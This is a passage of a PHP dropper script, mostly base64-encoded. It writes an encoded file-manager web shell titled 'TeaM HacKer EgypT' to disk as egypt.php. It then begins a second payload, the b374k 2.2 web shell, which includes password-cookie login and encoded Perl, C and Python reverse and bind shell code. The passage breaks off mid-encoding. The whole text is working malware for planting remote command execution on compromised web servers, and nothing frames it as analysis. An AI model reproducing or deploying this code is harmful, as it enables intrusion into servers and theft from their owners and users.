JyA9PiAncD8/aWRlaiB6Pz9rbGFkbj+tIGF1dGVudGl6YWNpJywKCid1cGxvYWRlZCcgPT4gJ1Nv dWJvciAiWyUxXSIgYnlsIG5haHI/P24gbmEgc2VydmVyLicsCidub3RfdXBsb2FkZWQnID0+ICdT b3Vib3IgIlslMV0iIG5lYnlsIG5haHI/P24gbmEgc2VydmVyLicsCidhbHJlYWR5X2V4aXN0cycg PT4gJ1NvdWJvciAiWyUxXSIgdT++IGV4aXR1amUuJywKJ2NyZWF0ZWQnID0+ICdTb3Vib3IgIlsl MV0iIGJ5bCB2eXR2bz8/ZW4uJywKJ25vdF9jcmVhdGVkJyA9PiAnU291Ym9yICJbJTFdIiBuZW1v aGwgYj+9dCAgdnl0dm8/P2VuLicsCidyZWFsbHlfZGVsZXRlJyA9PiAnVnltYXphdCBzb3Vib3I/ JywKJ2RlbGV0ZWQnID0+ICJCeWx5IHZ5bWF6Pz9ueSB0eXRvIHNvdWJvcnk6XApbJTFdIiwKJ25v dF9kZWxldGVkJyA9PiAiVHl0byBzb3Vib3J5IG5lbW9obHkgYj+9dCB2eXR2bz8/ZW55OlwKWyUx XSIsCidyZW5hbWVfZmlsZScgPT4gJ1A/P2VqbWVudWogc291Ym9yeTonLAoncmVuYW1lZCcgPT4g J1NvdWJvciAiWyUxXSIgYnlsIHA/P2VqbWVub3Y/P24gbmEgIlslMl0iLicsCidub3RfcmVuYW1l ZCcgPT4gJ1NvdWJvciAiWyUxXSIgbmVtb2hsIGI/vXQgcD8/ZWptZW5vdj8/biBuYSAiWyUyXSIu JywKJ21vdmVfZmlsZXMnID0+ICdQPz9lbT+tc3RpdCB0eXRvIHNvdWJvcnk6JywKJ21vdmVkJyA9 PiAiVHl0byBzb3Vib3J5IGJ5bHkgcD8/ZW0/rXN0Pz9ueSBkbyBcIlslMl1cIjpcClslMV0iLAon bm90X21vdmVkJyA9PiAiVHl0byBzb3Vib3J5IG5lbW9obHkgYj+9dCBwPz9lbT+tc3Q/P255IGRv IFwiWyUyXVwiOlwKWyUxXSIsCidjb3B5X2ZpbGVzJyA9PiAnWmtvcD+tcm92YXQgdHl0byBzb3Vi b3J5OicsCidjb3BpZWQnID0+ICJUeXRvIHNvdWJvcnkgYnlseSB6a29wP61yb3Y/P255IGRvIFwi WyUyXVwiOlwKWyUxXSIsCidub3RfY29waWVkJyA9PiAiVHl0byBzb3Vib3J5IG5lbW9obHkgYj+9 dCB6a29wP61yb3Y/P255IGRvIFwiWyUyXVwiOlwKWyUxXSIsCidub3RfZWRpdGVkJyA9PiAnU291 Ym9yICJbJTFdIiBuZW1vaGwgYj+9dCBvdGV2Pz9lbi4nLAonZXhlY3V0ZWQnID0+ICJTT3Vib3Ig XCJbJTFdXCIgYnlsIHNwdT8/dD8/biA6XAp7JTJ9IiwKJ25vdF9leGVjdXRlZCcgPT4gIlNvdWJv ciBcIlslMV1cIiBuZW1vaGwgYj+9dCBzcHU/P3Q/P246XAp7JTJ9IiwKJ3NhdmVkJyA9PiAnU291 Ym9yICJbJTFdIiBieWwgdWxvP75lbi4nLAonbm90X3NhdmVkJyA9PiAnU291Ym9yICJbJTFdIiBu ZW1vaGwgYj+9dCB1bG8/vmVuLicsCidzeW1saW5rZWQnID0+ICdCeWwgdnl2bz8/ZW4gc3ltYm9s aWNrP70gb2RrYXogIlslMl0iIG5hIHNvdWJvciAiWyUxXSIuJywKJ25vdF9zeW1saW5rZWQnID0+ ICdTeW1ib2xpY2s/vSBvZGtheiAiWyUyXSIgbmEgc291Ym9yICJbJTFdIiBuZW1vaGwgYj+9dCB2 eXR2bz8/ZW4uJywKJ3Blcm1pc3Npb25fZm9yJyA9PiAnUHI/P3ZhIGsgIlslMV0iOicsCidwZXJt aXNzaW9uX3NldCcgPT4gJ1ByPz92YSBrICJbJTFdIiBieWxhIHptPz9uPz9uYSBuYSBbJTJdLics CidwZXJtaXNzaW9uX25vdF9zZXQnID0+ICdQcj8/dmEgayAiWyUxXSIgbmVtb2hsYSBiP710IHpt Pz9uPz9uYSBuYSBbJTJdLicsCidub3RfcmVhZGFibGUnID0+ICdTb3Vib3IgIlslMV0iIG5lbj+t IG1vP75ubyBwPz9lPz8/rXN0LicKCQkpOwoKCWNhc2UgJ2VuJzoKCWRlZmF1bHQ6CgoJCSRkYXRl X2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7CgkJJHdvcmRfY2hhcnNldCA9ICdJU08tODg1OS0xJzsK CgkJcmV0dXJuIGFycmF5KAonZGlyZWN0b3J5JyA9PiAnRGlyZWN0b3J5JywKJ2ZpbGUnID0+ICdG aWxlJywKJ2ZpbGVuYW1lJyA9PiAnRmlsZW5hbWUnLAoKJ3NpemUnID0+ICdTaXplJywKJ3Blcm1p c3Npb24nID0+ICdQZXJtaXNzaW9uJywKJ293bmVyJyA9PiAnT3duZXInLAonZ3JvdXAnID0+ICdH cm91cCcsCidvdGhlcicgPT4gJ090aGVycycsCidmdW5jdGlvbnMnID0+ICdGdW5jdGlvbnMnLAoK J3JlYWQnID0+ICdyZWFkJywKJ3dyaXRlJyA9PiAnd3JpdGUnLAonZXhlY3V0ZScgPT4gJ2V4ZWN1 dGUnLAoKJ2NyZWF0ZV9zeW1saW5rJyA9PiAnY3JlYXRlIHN5bWxpbmsnLAonZGVsZXRlJyA9PiAn ZGVsZXRlJywKJ3JlbmFtZScgPT4gJ3JlbmFtZScsCidtb3ZlJyA9PiAnbW92ZScsCidjb3B5JyA9 PiAnY29weScsCidlZGl0JyA9PiAnZWRpdCcsCidkb3dubG9hZCcgPT4gJ2Rvd25sb2FkJywKJ3Vw bG9hZCcgPT4gJ3VwbG9hZCcsCidjcmVhdGUnID0+ICdjcmVhdGUnLAonY2hhbmdlJyA9PiAnY2hh bmdlJywKJ3NhdmUnID0+ICdzYXZlJywKJ3NldCcgPT4gJ3NldCcsCidyZXNldCcgPT4gJ3Jlc2V0 JywKJ3JlbGF0aXZlJyA9PiAnUmVsYXRpdmUgcGF0aCB0byB0YXJnZXQnLAoKJ3llcycgPT4gJ1ll cycsCidubycgPT4gJ05vJywKJ2JhY2snID0+ICdiYWNrJywKJ2Rlc3RpbmF0aW9uJyA9PiAnRGVz dGluYXRpb24nLAonc3ltbGluaycgPT4gJ1N5bWxpbmsnLAonbm9fb3V0cHV0JyA9PiAnbm8gb3V0 cHV0JywKCid1c2VyJyA9PiAnVXNlcicsCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywKJ2FkZCcg PT4gJ2FkZCcsCidhZGRfYmFzaWNfYXV0aCcgPT4gJ2FkZCBiYXNpYy1hdXRoZW50aWZpY2F0aW9u JywKCid1cGxvYWRlZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiB1cGxvYWRlZC4nLAonbm90X3VwbG9h ZGVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSB1cGxvYWRlZC4nLAonYWxyZWFkeV9leGlzdHMn ID0+ICciWyUxXSIgYWxyZWFkeSBleGlzdHMuJywKJ2NyZWF0ZWQnID0+ICciWyUxXSIgaGFzIGJl ZW4gY3JlYXRlZC4nLAonbm90X2NyZWF0ZWQnID0+ICciWyUxXSIgY291bGQgbm90IGJlIGNyZWF0 ZWQuJywKJ3JlYWxseV9kZWxldGUnID0+ICdEZWxldGUgdGhlc2UgZmlsZXM/JywKJ2RlbGV0ZWQn ID0+ICJUaGVzZSBmaWxlcyBoYXZlIGJlZW4gZGVsZXRlZDpcClslMV0iLAonbm90X2RlbGV0ZWQn ID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgZGVsZXRlZDpcClslMV0iLAoncmVuYW1lX2Zp bGUnID0+ICdSZW5hbWUgZmlsZTonLAoncmVuYW1lZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiByZW5h bWVkIHRvICJbJTJdIi4nLAonbm90X3JlbmFtZWQnID0+ICciWyUxXSBjb3VsZCBub3QgYmUgcmVu YW1lZCB0byAiWyUyXSIuJywKJ21vdmVfZmlsZXMnID0+ICdNb3ZlIHRoZXNlIGZpbGVzOicsCidt b3ZlZCcgPT4gIlRoZXNlIGZpbGVzIGhhdmUgYmVlbiBtb3ZlZCB0byBcIlslMl1cIjpcClslMV0i LAonbm90X21vdmVkJyA9PiAiVGhlc2UgZmlsZXMgY291bGQgbm90IGJlIG1vdmVkIHRvIFwiWyUy XVwiOlwKWyUxXSIsCidjb3B5X2ZpbGVzJyA9PiAnQ29weSB0aGVzZSBmaWxlczonLAonY29waWVk JyA9PiAiVGhlc2UgZmlsZXMgaGF2ZSBiZWVuIGNvcGllZCB0byBcIlslMl1cIjpcClslMV0iLAon bm90X2NvcGllZCcgPT4gIlRoZXNlIGZpbGVzIGNvdWxkIG5vdCBiZSBjb3BpZWQgdG8gXCJbJTJd XCI6XApbJTFdIiwKJ25vdF9lZGl0ZWQnID0+ICciWyUxXSIgY2FuIG5vdCBiZSBlZGl0ZWQuJywK J2V4ZWN1dGVkJyA9PiAiXCJbJTFdXCIgaGFzIGJlZW4gZXhlY3V0ZWQgc3VjY2Vzc2Z1bGx5OlwK eyUyfSIsCidub3RfZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBjb3VsZCBub3QgYmUgZXhlY3V0ZWQg c3VjY2Vzc2Z1bGx5OlwKeyUyfSIsCidzYXZlZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiBzYXZlZC4n LAonbm90X3NhdmVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSBzYXZlZC4nLAonc3ltbGlua2Vk JyA9PiAnU3ltbGluayBmcm9tICJbJTJdIiB0byAiWyUxXSIgaGFzIGJlZW4gY3JlYXRlZC4nLAon bm90X3N5bWxpbmtlZCcgPT4gJ1N5bWxpbmsgZnJvbSAiWyUyXSIgdG8gIlslMV0iIGNvdWxkIG5v dCBiZSBjcmVhdGVkLicsCidwZXJtaXNzaW9uX2ZvcicgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0i OicsCidwZXJtaXNzaW9uX3NldCcgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0iIHdhcyBzZXQgdG8g WyUyXS4nLAoncGVybWlzc2lvbl9ub3Rfc2V0JyA9PiAnUGVybWlzc2lvbiBvZiAiWyUxXSIgY291 bGQgbm90IGJlIHNldCB0byBbJTJdLicsCidub3RfcmVhZGFibGUnID0+ICciWyUxXSIgY2FuIG5v dCBiZSByZWFkLicKCQkpOwoKCX0KCn0KCmZ1bmN0aW9uIGdldGltYWdlICgkaW1hZ2UpIHsKCXN3 aXRjaCAoJGltYWdlKSB7CgljYXNlICdmaWxlJzoKCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBs R09EbGhFUUFOQUpFREFKbVptZi8vL3dBQUFQLy8veUg1QkFIb0F3TUFMQUFBQUFBUkFBMEFBQUl0 bklHSnhnMEI0MnJzaVN2Q0EvUkVtWFFXaG1uaWgzTFVTR2FxZzM1dkZiU1h1Y2JTYWJ1bmpuTW9o cThDQURzQScpOwoJY2FzZSAnZm9sZGVyJzoKCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09E bGhFUUFOQUpFREFKbVptZi8vLzh6TXpQLy8veUg1QkFIb0F3TUFMQUFBQUFBUkFBMEFBQUlxbkkr WndLd2JZZ1RQdEl1ZGxid0xPZ0NCUUpZbUNZcm4rbTNzbVk1dkdjKzBhN2Roamg3WmJ5Z0FBRHNB Jyk7CgljYXNlICdoaWRkZW5fZmlsZSc6CgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxo RVFBTkFKRURBTXdBQVAvLy81bVptZi8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJdG5JR0p4 ZzBCNDJyc2lTdkNBL1JFbVhRV2htbmloM0xVU0dhcWczNXZGYlNYdWNiU2FidW5qbk1vaHE4Q0FE c0EnKTsKCWNhc2UgJ2xpbmsnOgoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5B S0lFQUptWm1mLy8vd0FBQU13QUFQLy8vd0FBQUFBQUFBQUFBQ0g1QkFIb0F3UUFMQUFBQUFBUkFB MEFBQU01U0FyY3JEQ0NRT3VMY0lvdHdnVFlVbGxOT0EwRHhYa21oWTRzaE01enNNVUtUWThnTmdV dlc2Y25BYVpneE15SU0yekJMQ2FIbEpnQUFEc0EnKTsKCWNhc2UgJ3NtaWxleSc6CgkJcmV0dXJu IGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRUNBQUFBQVAvL0FQLy8vd0FBQUNINUJBSG9B d0lBTEFBQUFBQVJBQTBBQUFJc2xJK3BBdTJ3REFpejBqV0QzaHFtQnpaZjFWQ2xlSlFjaDBya2Ru cHBCM2RLWnVJeWdyTVJFL29KRHdVQU93QT0nKTsKCWNhc2UgJ2Fycm93JzoKCQlyZXR1cm4gYmFz ZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUlBQkFBQUFBUC8vL3lINUJBRUtBQUVBTEFBQUFBQVJB QTBBQUFJZGpBOXd5NmdOUTRwd1VtYXYweXZuK2hoSmlJM21DSjZvdHJJa3h4UUFPdz09Jyk7Cgl9 Cn0KCmZ1bmN0aW9uIGh0bWxfaGVhZGVyICgpIHsKCWdsb2JhbCAkc2l0ZV9jaGFyc2V0OwoKCWVj aG8gPDw8RU5ECjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0 cmljdC8vRU4iCiAgICAgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0 cmljdC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+Cjxo ZWFkPgoKPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7 IGNoYXJzZXQ9JHNpdGVfY2hhcnNldCIgLz4KCjx0aXRsZT5UZWFNIEhhY0tlciBFZ3lwVDwvdGl0 bGU+Cgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHsgZm9udDogc21hbGwgc2Fucy1zZXJp ZjsgdGV4dC1hbGlnbjogY2VudGVyIH0KaW1nIHsgd2lkdGg6IDE3cHg7IGhlaWdodDogMTNweCB9 CmEsIGE6dmlzaXRlZCB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6IG5hdnkgfQpociB7 IGJvcmRlci1zdHlsZTogbm9uZTsgaGVpZ2h0OiAxcHg7IGJhY2tncm91bmQtY29sb3I6IHNpbHZl cjsgY29sb3I6IHNpbHZlciB9CiNtYWluIHsgbWFyZ2luLXRvcDogNnB0OyBtYXJnaW4tbGVmdDog YXV0bzsgbWFyZ2luLXJpZ2h0OiBhdXRvOyBib3JkZXItc3BhY2luZzogMXB4IH0KI21haW4gdGgg eyBiYWNrZ3JvdW5kOiAjZWVlOyBwYWRkaW5nOiAzcHQgM3B0IDBwdCAzcHQgfQoubGlzdGluZyB0 aCwgLmxpc3RpbmcgdGQgeyBwYWRkaW5nOiAxcHggM3B0IDAgM3B0IH0KLmxpc3RpbmcgdGggeyBi b3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQoubGlzdGluZyB0ZCB7IGJvcmRlcjogMXB4IHNvbGlk ICNkZGQ7IGJhY2tncm91bmQ6IHdoaXRlIH0KLmxpc3RpbmcgLmNoZWNrYm94IHsgdGV4dC1hbGln bjogY2VudGVyIH0KLmxpc3RpbmcgLmZpbGVuYW1lIHsgdGV4dC1hbGlnbjogbGVmdCB9Ci5saXN0 aW5nIC5zaXplIHsgdGV4dC1hbGlnbjogcmlnaHQgfQoubGlzdGluZyAucGVybWlzc2lvbl9oZWFk ZXIgeyB0ZXh0LWFsaWduOiBsZWZ0IH0KLmxpc3RpbmcgLnBlcm1pc3Npb24geyBmb250LWZhbWls eTogbW9ub3NwYWNlIH0KLmxpc3RpbmcgLm93bmVyIHsgdGV4dC1hbGlnbjogbGVmdCB9Ci5saXN0 aW5nIC5ncm91cCB7IHRleHQtYWxpZ246IGxlZnQgfQoubGlzdGluZyAuZnVuY3Rpb25zIHsgdGV4 dC1hbGlnbjogbGVmdCB9Ci5saXN0aW5nX2Zvb3RlciB0ZCB7IGJhY2tncm91bmQ6ICNlZWU7IGJv cmRlcjogMXB4IHNvbGlkIHNpbHZlciB9CiNkaXJlY3RvcnksICN1cGxvYWQsICNjcmVhdGUsIC5s aXN0aW5nX2Zvb3RlciB0ZCwgI2Vycm9yIHRkLCAjbm90aWNlIHRkIHsgdGV4dC1hbGlnbjogbGVm dDsgcGFkZGluZzogM3B0IH0KI2RpcmVjdG9yeSB7IGJhY2tncm91bmQ6ICNlZWU7IGJvcmRlcjog MXB4IHNvbGlkIHNpbHZlciB9CiN1cGxvYWQgeyBwYWRkaW5nLXRvcDogMWVtIH0KI2NyZWF0ZSB7 IHBhZGRpbmctYm90dG9tOiAxZW0gfQouc21hbGwsIC5zbWFsbCBvcHRpb24geyBmb250LXNpemU6 IHgtc21hbGwgfQp0ZXh0YXJlYSB7IGJvcmRlcjogbm9uZTsgYmFja2dyb3VuZDogd2hpdGUgfQp0 YWJsZS5kaWFsb2cgeyBtYXJnaW4tbGVmdDogYXV0bzsgbWFyZ2luLXJpZ2h0OiBhdXRvIH0KdGQu ZGlhbG9nIHsgYmFja2dyb3VuZDogI2VlZTsgcGFkZGluZzogMWV4OyBib3JkZXI6IDFweCBzb2xp ZCBzaWx2ZXI7IHRleHQtYWxpZ246IGNlbnRlciB9CiNwZXJtaXNzaW9uIHsgbWFyZ2luLWxlZnQ6 IGF1dG87IG1hcmdpbi1yaWdodDogYXV0byB9CiNwZXJtaXNzaW9uIHRkIHsgcGFkZGluZy1sZWZ0 OiAzcHQ7IHBhZGRpbmctcmlnaHQ6IDNwdDsgdGV4dC1hbGlnbjogY2VudGVyIH0KdGQucGVybWlz c2lvbl9hY3Rpb24geyB0ZXh0LWFsaWduOiByaWdodCB9CiNzeW1saW5rIHsgYmFja2dyb3VuZDog I2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0KI3N5bWxpbmsgdGQgeyB0ZXh0LWFsaWdu OiBsZWZ0OyBwYWRkaW5nOiAzcHQgfQojcmVkX2J1dHRvbiB7IHdpZHRoOiAxMjBweDsgY29sb3I6 ICM0MDAgfQojZ3JlZW5fYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzA0MCB9CiNlcnJv ciB0ZCB7IGJhY2tncm91bmQ6IG1hcm9vbjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IDFweCBzb2xp ZCBzaWx2ZXIgfQojbm90aWNlIHRkIHsgYmFja2dyb3VuZDogZ3JlZW47IGNvbG9yOiB3aGl0ZTsg Ym9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0KI25vdGljZSBwcmUsICNlcnJvciBwcmUgeyBiYWNr Z3JvdW5kOiBzaWx2ZXI7IGNvbG9yOiBibGFjazsgcGFkZGluZzogMWV4OyBtYXJnaW4tbGVmdDog MWV4OyBtYXJnaW4tcmlnaHQ6IDFleCB9CmNvZGUgeyBmb250LXNpemU6IDEycHQgfQp0ZCB7IHdo aXRlLXNwYWNlOiBub3dyYXAgfQo8L3N0eWxlPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3Jp cHQiPgo8IS0tCmZ1bmN0aW9uIGFjdGl2YXRlIChuYW1lKSB7CglpZiAoZG9jdW1lbnQgJiYgZG9j dW1lbnQuZm9ybXNbMF0gJiYgZG9jdW1lbnQuZm9ybXNbMF0uZWxlbWVudHNbJ2ZvY3VzJ10pIHsK CQlkb2N1bWVudC5mb3Jtc1swXS5lbGVtZW50c1snZm9jdXMnXS52YWx1ZSA9IG5hbWU7Cgl9Cn0K Ly8tLT4KPC9zY3JpcHQ+Cgo8L2hlYWQ+Cjxib2R5PgoKCkVORDsKCn0KCmZ1bmN0aW9uIGh0bWxf Zm9vdGVyICgpIHsKCgllY2hvIDw8PEVORAo8L2JvZHk+CjwvaHRtbD4KRU5EOwoKfQoKZnVuY3Rp b24gbm90aWNlICgkcGhyYXNlKSB7CglnbG9iYWwgJGNvbHM7CgoJJGFyZ3MgPSBmdW5jX2dldF9h cmdzKCk7CglhcnJheV9zaGlmdCgkYXJncyk7CgoJcmV0dXJuICc8dHIgaWQ9Im5vdGljZSI+Cgk8 dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyI+JyAuIHBocmFzZSgkcGhyYXNlLCAkYXJncykgLiAn PC90ZD4KPC90cj4KJzsKCn0KCmZ1bmN0aW9uIGVycm9yICgkcGhyYXNlKSB7CglnbG9iYWwgJGNv bHM7CgoJJGFyZ3MgPSBmdW5jX2dldF9hcmdzKCk7CglhcnJheV9zaGlmdCgkYXJncyk7CgoJcmV0 dXJuICc8dHIgaWQ9ImVycm9yIj4KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIj4nIC4gcGhy YXNlKCRwaHJhc2UsICRhcmdzKSAuICc8L3RkPgo8L3RyPgonOwoKfQoKPz4K'; file_put_contents('egypt.php',base64_decode($shell));; echo "Here egypt.php
"; $b374k = 'PD9waHAKCi8vIGIzNzRrIDIuMgovLyBKYXlhbGFoIEluZG9uZXNpYWt1CgoKZXJyb3JfcmVwb3J0 aW5nKDApOwpAc2V0X3RpbWVfbGltaXQoMCk7IAoKCiRzX25hbWUgPSAiYjM3NGsiOyAvLyBzaGVs bCBuYW1lCiRzX3ZlciA9ICIyLjIiOyAvLyBzaGVsbCB2ZXIKJHNfdGl0bGUgPSAkc19uYW1lLiIg Ii4kc192ZXI7IC8vIHNoZWxsIHRpdGxlCiRzX3Bhc3MgPSAiMGRlNjY0ZWNkMmJlMDJjZGQ1NDIz NGEwZDEyMjliNDMiOyAvLyBwYXNzd29yZCAoZGVmYXVsdCBpczogYjM3NGspCgokc19hdXRoID0g ZmFsc2U7IC8vIGxvZ2luIHN0YXR1cwppZihzdHJsZW4odHJpbSgkc19wYXNzKSk+MCl7CiAgaWYo aXNzZXQoJF9DT09LSUVbJ2IzNzRrJ10pKXsKICAgIGlmKHN0cnRvbG93ZXIodHJpbSgkc19wYXNz KSkgPT0gc3RydG9sb3dlcih0cmltKCRfQ09PS0lFWydiMzc0ayddKSkpICRzX2F1dGggPSB0cnVl OwogIH0KICBpZihpc3NldCgkX1JFUVVFU1RbJ2xvZ2luJ10pKXsKICAgICRsb2dpbiA9IHN0cnRv bG93ZXIodHJpbSgkX1JFUVVFU1RbJ2xvZ2luJ10pKTsKICAgIGlmKHN0cnRvbG93ZXIodHJpbSgk c19wYXNzKSkgPT0gbWQ1KCRsb2dpbikpewogICAgICBzZXRjb29raWUoImIzNzRrIixtZDUoJGxv Z2luKSx0aW1lKCkgKyAzNjAwKjI0KjcpOwogICAgICAkbSA9ICRfU0VSVkVSWydQSFBfU0VMRidd OwogICAgICBoZWFkZXIoIkxvY2F0aW9uOiAiLiRtKTsKICAgICAgZGllKCk7CiAgICB9CiAgICBl bHNlewogICAgICBzZXRjb29raWUoImIzNzRrIiwkbG9naW4sdGltZSgpIC0gMzYwMCoyNCo3KTsK ICAgICAgJG0gPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsKICAgICAgaGVhZGVyKCJMb2NhdGlvbjog Ii4kbSk7CiAgICAgIGRpZSgpOwogICAgfQogIH0KfQplbHNlICRzX2F1dGggPSB0cnVlOyAvLyAk c19wYXNzIHZhcmlhYmxlIChwYXNzd29yZCkgaXMgZW1wdHkgLCBnbyBhaGVhZCwgbm8gbG9naW4g cGFnZQoKCi8vIHJlc291cmNlcyAkeGJhY2tfcGwgJHhiaW5kX3BsICR4YmFja19jICR4YmluZF9j ICR4bXVsdGlfcHkgJHdtdWx0aV9jLi4uIHRoaXMgd2FzIHVzZWQgd2l0aCBiaW5kIGFuZCByZXZl cnNlIHNoZWxsCi8vIHVzZSBnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGhlX2NvZGUpKSBpZiB5 b3Ugd2FubmEgc2VlIHRoZSByZWFsIGNvZGUuLiBpbiBjYXNlIHlvdSBkb250IHRydXN0IG1lIDst UAokeGJhY2tfcGwgPSJkWkZmVDRNd0ZNWGYrUlFWbVN2SkV1WXpxY21DYUpabFl3SDB4VCtFd1ZV YlIwdmFMbVp4ODdQYmxxbkViRy8zM0hQT0w3ZHdmaFpzcEFoV2xBVXRpTFd6a1lBeVhyMkRDaDJQ UzBTUTk1em9VVzZsZ29hNE5pbmYzTkNoTDlnR3ZsQVRmT2dsOVQvUmIyd1FKZk5zR1VjREZNemNj Tzk0WStKVlRhMUJxaFN2b0lnM1NXL3ZIeTZmOUtibDRrZVBqYVpsWFF0Q0dhaWlWSnpoUThWSHV4 MnFLV0FYaE9EaWtibStLZHV3MUJlYm9hQTZibmdqMUdGT2xBUlhuR2ltSFZaYlZqYUFoNnBxaDlx Vjl2VTRTNkpabkkvUThxYVlMc3hnRmtXV3AvRmtydW0yZVpSZWNjYWcrZ04wSng2TjhoWVl6dkxy NldLRTNLdUxydEUza3J2OGhCT242VCtuKy9UNDhBdk1JV3N1b2NQM2xXYjJwUVpwK1EwPSI7CiR4 YmluZF9wbCA9ImJaRnZTOE13RU1iZjUxUGNZcmUxVUtqaXkxcHhkRlhIdG5ZMFZSRC9sTm5lTkZp VDBtYW96UG5aVFlwVEVkK0Y1MzdQNWU2NXZaNjNiaHZ2bmd1dnhxWWlsbXdoQU9zdThZbkZ6cVBa TEtCZHNYMmtQdUVydTZ0L3dMUDNva1h1YkdCSDljTmt6aFpSMkFkdlN2MnRac0UrR2FWbmwzQUVC dzVzQUYrNXNnOGNIN2JFbWsxWUZzWDVJa216d0RMUTlmNnRUOVl0QXBQRkV5cjllZDFJSlF0WkJR K291dmY5bTFnK296MVVSVDEwZk5KMm9NM2N3ZUkwbjhSUjVnNVlFazV6bHFYUmFPNSsreDE0ZjRl U28wMnhhV1J6STZneG96SitXWnNHTEpubHhxcGJzQ1JQb3dzV2pjYmoxTld6RXIxNnFSRURMOHV5 eWJtd2Z3L3ZUbUtENXFQNHl2bjNvNHEzQ29YdWNMZ3JBOVZCdmp6eUNuVVlaRU9XUllGNmpEQ0pZ NWM1WGNZOTI2cDVHYXhrOCtRWXBIT0ZTeUdrQWlOU01PSDJTbHh4Z1NVWVdCdGxqUUpZTnA3RUxq MGFtSDcwUjB3dU1wY2UvMVdqTlAybDRpc1dYK2Y4YjVXaWt2bytoalVvVjdEdmt5M1pmZ0k9IjsK JHhiYWNrX2MgPSAiWFZGTmF3SXhFTDBML29kaGhaSm9jRjJ2Mm9LSUJTbXRvbnRyWlZtVGJEZDBU U1NKeFEvODcwMnkxbG9QU1dibXZYa3p2TFNFcE5XT2NSZ2F5NFRxbGsvTlJ1dXZkakN4VWZTTDJ6 dEFjaXZjaVlVTWdKQVdOcm1ReUFlNS9xUUVhSmxyYUx2NCszMkZUeldsWUlObXcxaTlveGE4Yk02 WXpvUUVJNlFEV000M1NxS0U5TENuT1dsM3NpTGZpT29BanpCNnpxWnZrL1FHMmlwdEhWQmFKUTNL clJJb2pFdFcrRmJBRCttYThEaXkzenJFTmJlLzh0VDFrV3YxV3lCdXdZckxLOTVKT3JlVmkzckJu Rmh0RGJwc1JtQTVHNzlreTNReEdiMFNtTTduaTFrNnk5THhISVByRUFVZ1JKV1VuRnBVTUFMb3pn bG9ZM2h3R3hQbng1R3I0aDdIR0E5NytMVGxXaXVOb3ZCOHlBZ1ArRjVZNUV3N093OTMyMzRRRHg1 ZXMrUmYxdmNaMzNOYW9TaGVDeG1iTWlLUnYxRDlhemgwMDBvWjdocDhmUDRCIjsKJHhiaW5kX2Mg PSAiZFZKaFMrUXdFUDB1K0I5eUZXNlR0ZXgyQlQvMWVyQ2NDaUszQitvWFVTa3hTZTFnTnlsSlZs MFcvL3RObWhhMEtyUko1cjJYek10TURrQ0xaaU1WK2VXOEJET3JmKy92SGJ6RExPakhNYmgxYzc5 dGxmc0NkMFk4S1Q4aXRQS0EveHowaUZEVzZwZ1N0Q2RyRHBweSt5aFNISjVaQkVPYzcrK0ptbHN5 blFZaTMwVW1wS3BrU3JSNnFTUkswT3RHUkpoTGFVdlF4S3ExOFFvNXFHaGw3Qk5scENoSXhnZ2VF Ym1aQTExV2ZBM05saFJrZVZhZXIwNnY4dzlzYTZ4SHJ2WkdPOHE5Z2VEeCtYWnh6OWhIWWNnNmM5 M1U2eHQ2dmxxZW5GeVd5OVZORUVmTFNNWXkwVDVmZXZYdnowVjVkWDE1dXZ5YlppejYvUkhGakxS WUpXTnAwazEzT2duOEEyaEord0xRMGNYSmxQMk1ybEtTdlM2Njh4cHdYdWxoeDNHQVhtcG9GRjB3 TEVWWHdZSUxvVm8vYUxKb1JHN2FJOXJ4bitMRktENEtzWHBWb3FISkhBM09YWjJrU1JobzdCN3JU aENOY1NwdUNlSGI4SVdXaXJybHp2WHlCKzd3Qm5HdHRGZFdTZGEzSG5BajlwTkNrZVVRSG1tRGx4 czBPUndlNHVQWmRWWHN3VnU0RDUyZjNPa0pVdTlCeExKSi9xWFdmcWNOYml1Q0hmSldyRnZhR1Iy eXMvQWsvTVpxa2dYbGZ3PT0iOwokeG11bHRpX3B5ID0gImxWTmRhOXN3RkgyMndmOUI5UjRxazlU NTZQWVMwQ0NNbEpZbHpXZ3lHSFFqdUxaU2l6cVNrWlMyK2ZmVnZiS2IwR1NNNVNIV3g5RTU1MTRk ZlRycmJZM3VQUWpaNC9LWjFEdGJLaG1GWWxNcmJZa3lYV0oyOEtmeUoyNjd4SW9OajhMWitOZHFP 